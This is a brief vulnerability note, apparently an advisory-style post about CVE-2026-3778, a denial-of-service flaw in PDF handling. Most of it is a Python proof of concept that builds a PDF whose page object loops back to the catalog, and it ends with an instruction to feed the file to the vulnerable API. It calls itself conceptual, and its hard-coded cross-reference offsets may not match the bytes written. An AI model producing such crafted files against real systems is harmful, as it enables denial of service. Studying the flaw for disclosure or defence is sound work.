CVE-2026-3778 PDF循环引用导致拒绝服务漏洞

# PoC Concept: Creating a PDF with cyclic references # This is a conceptual demonstration as creating a raw cyclic PDF requires binary manipulation. import struct def create_cyclic_pdf_poc(filename): # Minimal PDF structure # Object 1: Catalog pointing to Object 2 (Pages) # Object 2: Pages pointing to Object 3 (Page) # Object 3: Page pointing to Object 1 (Catalog) -> CYCLE # Note: Real exploitation requires specific JavaScript triggers via SOAP API. # This script demonstrates the structural concept. pdf_header = b"%PDF-1.4\n" obj1 = b"1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n" obj2 = b"2 0 obj\n<< /Type /Pages /Kids [ 3 0 R ] /Count 1 >>\nendobj\n" # Malicious Object 3 referencing back to Catalog (1 0 R) instead of Parent # This creates a loop: 1 -> 2 -> 3 -> 1 obj3 = b"3 0 obj\n<< /Type /Page /Parent 1 0 R /Contents 4 0 R >>\nendobj\n" obj4 = b"4 0 obj\n<< /Length 44 >>\nstream\nBT /F1 12 Tf 100 700 Td (Cyclic PoC) Tj ET\nendstream\nendobj\n" xref = b"xref\n0 5\n0000000000 65535 f \n0000000009 00000 n \n0000000058 00000 n \n0000000121 00000 n \n0000000208 00000 n \n" trailer = b"trailer\n<< /Size 5 /Root 1 0 R >>\nstartxref\n312\n%%EOF\n" with open(filename, "wb") as f: f.write(pdf_header + obj1 + obj2 + obj3 + obj4 + xref + trailer) # Usage: create_cyclic_pdf_poc('cyclic_poc.pdf') # Trigger: Pass this file to the vulnerable API.